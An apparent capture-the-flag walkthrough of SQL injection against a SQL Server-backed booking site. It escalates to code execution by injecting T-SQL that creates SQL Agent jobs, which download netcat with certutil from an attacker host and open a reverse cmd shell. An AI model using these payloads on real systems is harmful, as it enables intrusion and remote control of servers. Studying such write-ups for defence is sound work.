> Information Gathering
SQL injection aka SQLi
is a web security vulnerability
that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior. More information on PortSwigger
On port 80, we can see an amazing web application that’s meant for booking trips. It’s safe to assume that this is a travel agent website where one can book a destination to a desired location. The target website appears to have static webpages except the book-trip.php
page. On this page we are presented with a login form which has 3 fields. 1. Destination
, 2. Adults
& 3. Children
.
In SQLi
, there are few characters that are capable of triggering an error in a database. These characters are *, ', " & a few others
. In this engagement, we will use a single '
quote to test all fields. It’s always best to test one field at a time, so let’s put single quote '
in the destination field
and capture the request in burpsuite for further testing.
Pushing the request to burpsuite forwarder
, and sending the request again, we were able to trigger a sql error
. From the response in burpsuite, the error displayed is Message: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Unclosed quotation mark after the character string ''.
& Message: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Incorrect syntax near ''.
The destination field
is vulnerable to sql injection. To further exploit this vulnerability, we need to find the number of columns on the target. In SQL
, the query Order by
is used to sort the result-set
in ascending or descending order.
. To accomplish this, we will modify the data in our request destination='+order+by+1+--&adults=1&children=1
. Note: we will keep increasing the values till we find the right columns on the target.
The target database has 5 columns
which can be confirmed from the image above. The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, we need to find one or more columns in the original query results whose data type is, or is compatible with, string data. To test this, we will modify our data destination='+UNION+SELECT+'a',2,3,4,5+--&adults=1&children=1
. We will keep testing until the alphabets
we submitted appears in the webapp response.
We found the relevant columns that are suitable for retrieving string data. We have all that we need now the next step is to start extracting information from the database. For starters, let’s start with the version of SQL server running on the target. We can achieve this using destination='+UNION+SELECT+1,'a',(SELECT+@@version),3,4+--&adults=1&children=1
We can further enumerate the target database to retrieve information but it’s unfortunate i won’t dive deep into that. For more information on how to enumerate the database manually, you can check at perspectiverisk. For now, let’s focus on to enable xp_cmdshell
on the target.
After trying for some time to enable xp_cmdshell
manually, i hit a dead-end. I tried all that i know and also followed the steps on both mssqltips & medium.com as well as few others, i failed. I decided to use the automatic method since i know the injection point, it’s easier to do it with sqlmap
.
Using sqlmap
didn’t do any good. I tried bypassing this feature with some few sqlmap arguments
but i still failed. Looking at the screenshot above, sqlmap presented us with this error
1
2
[02:00:34] [WARNING] xp_cmdshell creation failed, probably because sp_OACreate is disabled
[02:00:34] [CRITICAL] unable to proceed without xp_cmdshell
> Creating MSSQL Jobs Through SQLi
The question is “how do we do this?? is it even possible??”?? The answer is YES it is possible have you heard about T-SQL
?? T-SQL (Transact-SQL)
is a set of programming extensions from Sybase and Microsoft
that add several features to the Structured Query Language (SQL), including transaction control, exception and error handling, row processing and declared variables.
T-SQL identifiers
, meanwhile, are used in all databases, servers, and database objects in SQL Server. These include the following tables, constraints, stored procedures, views, columns and data types
. T-SQL identifiers must each have a unique name, are assigned when an object is created and are used to identify an object
.
With this information, i looked deeper into assigning T-SQL identifiers
on MSSQL which led to microsoft T-SQL documentation.
To successfully create a job
in MSSQL using T-SQL
, we need two important arguments. These arguments are [ @job_id = ] job_id
or [ @job_name = ] 'job_name'
& [ @server_name = ] 'server
.
Note: Either job_id or job_name must be specified, but both cannot be specified.
We have all the information we need but another issue pops up. What’s the issue?? how do i create this without any error?? i googled for samples of T-SQL Jobs
and i came across this website mssqltips which clearly defines a fully functional T-SQL job
. From the sample on this website, i crafted a T-SQL query
to test if i can ping my ipaddress .
1
';EXECUTE AS LOGIN = 'daedalus_admin';USE msdb;EXEC sp_delete_job @job_name = N'testping';EXEC dbo.sp_add_job @job_name = N'testping';EXEC sp_add_jobstep @job_name = N'testping', @step_name = N'ping', @subsystem = N'cmdexec', @command = N'c:\windows\system32\cmd.exe /c ping -n 10 10.10.15.25', @retry_attempts = 1, @retry_interval = 5, @proxy_id=1;EXEC dbo.sp_add_jobserver @job_name = N'testping';EXEC dbo.sp_start_job N'testping';--
To identify ping requests, we have to start tcpdump
on my attacker machine to filter icmp
on ipaddress of our network interface. We can achieve this by typing sudo tcpdump -i tun0 icmp
in this case, i am listening on tun0
interface. Send the testping T-SQL
request to the target from burpsuite and i received a ping on my machine.
If we are able to execute a ping request, then we are two steps away from gaining remote code execution on the target. There are many ways to do this but i will stick to the basic 3:
- Create an msfvenom payload, transfer to the target and execute it.
- Transfer netcat windows binary to the target and execute that for a rev shell
- Use a powershell one-liner to transfer and execute your nishang-tcp-shell script
I will use the second method. First grab netcat windows binary from int0x33 GitHub repo, then craft a new T-SQL job
query to transfer the file from your attacking machine to the target machine.
1
';EXECUTE AS LOGIN = 'daedalus_admin';USE msdb;EXEC sp_delete_job @job_name = N'testping';EXEC dbo.sp_add_job @job_name = N'testping';EXEC sp_add_jobstep @job_name = N'testping', @step_name = N'ping', @subsystem = N'cmdexec', @command = N'c:\\windows\\system32\\cmd.exe /c certutil -urlcache -f http://10.10.15.25/nc64.exe C:\\Windows\\temp\\nc64.exe', @retry_attempts = 1, @retry_interval = 5, @proxy_id=1;EXEC dbo.sp_add_jobserver @job_name = N'testping';EXEC dbo.sp_start_job N'testping';--
Start python server on the attacking machine using python -m SimpleHTTPServer port number
or the py3 method python3 -m http.server port number
then put this T-SQL
query in burpsuite and forward the request once again. It worked i got a hit from the target machine. Nc64.exe
is transferred to C:\\Windows\\temp\\
directory.
All we need to do now is to parse our ipaddress
and port number
to nc64.exe
in order to gain a reverse connection to the target machine. As usual we have to modify our T-SQL
query to perform this action. Once done, modify burpsuite data and send request again.
1
';EXECUTE AS LOGIN = 'daedalus_admin';USE msdb;EXEC sp_delete_job @job_name = N'testping';EXEC dbo.sp_add_job @job_name = N'testping';EXEC sp_add_jobstep @job_name = N'testping', @step_name = N'ping', @subsystem = N'cmdexec', @command = N'C:\\Windows\\temp\\nc64.exe 10.10.15.25 445 -e cmd.exe', @retry_attempts = 1, @retry_interval = 5, @proxy_id=1;EXEC dbo.sp_add_jobserver @job_name = N'testping';EXEC dbo.sp_start_job N'testping';--
Whoop Whoop we got a reverse connection to the target machine. I hope you enjoyed the ride and also discovered something new. Kindly subscribe to my YouTube channel for more contents
.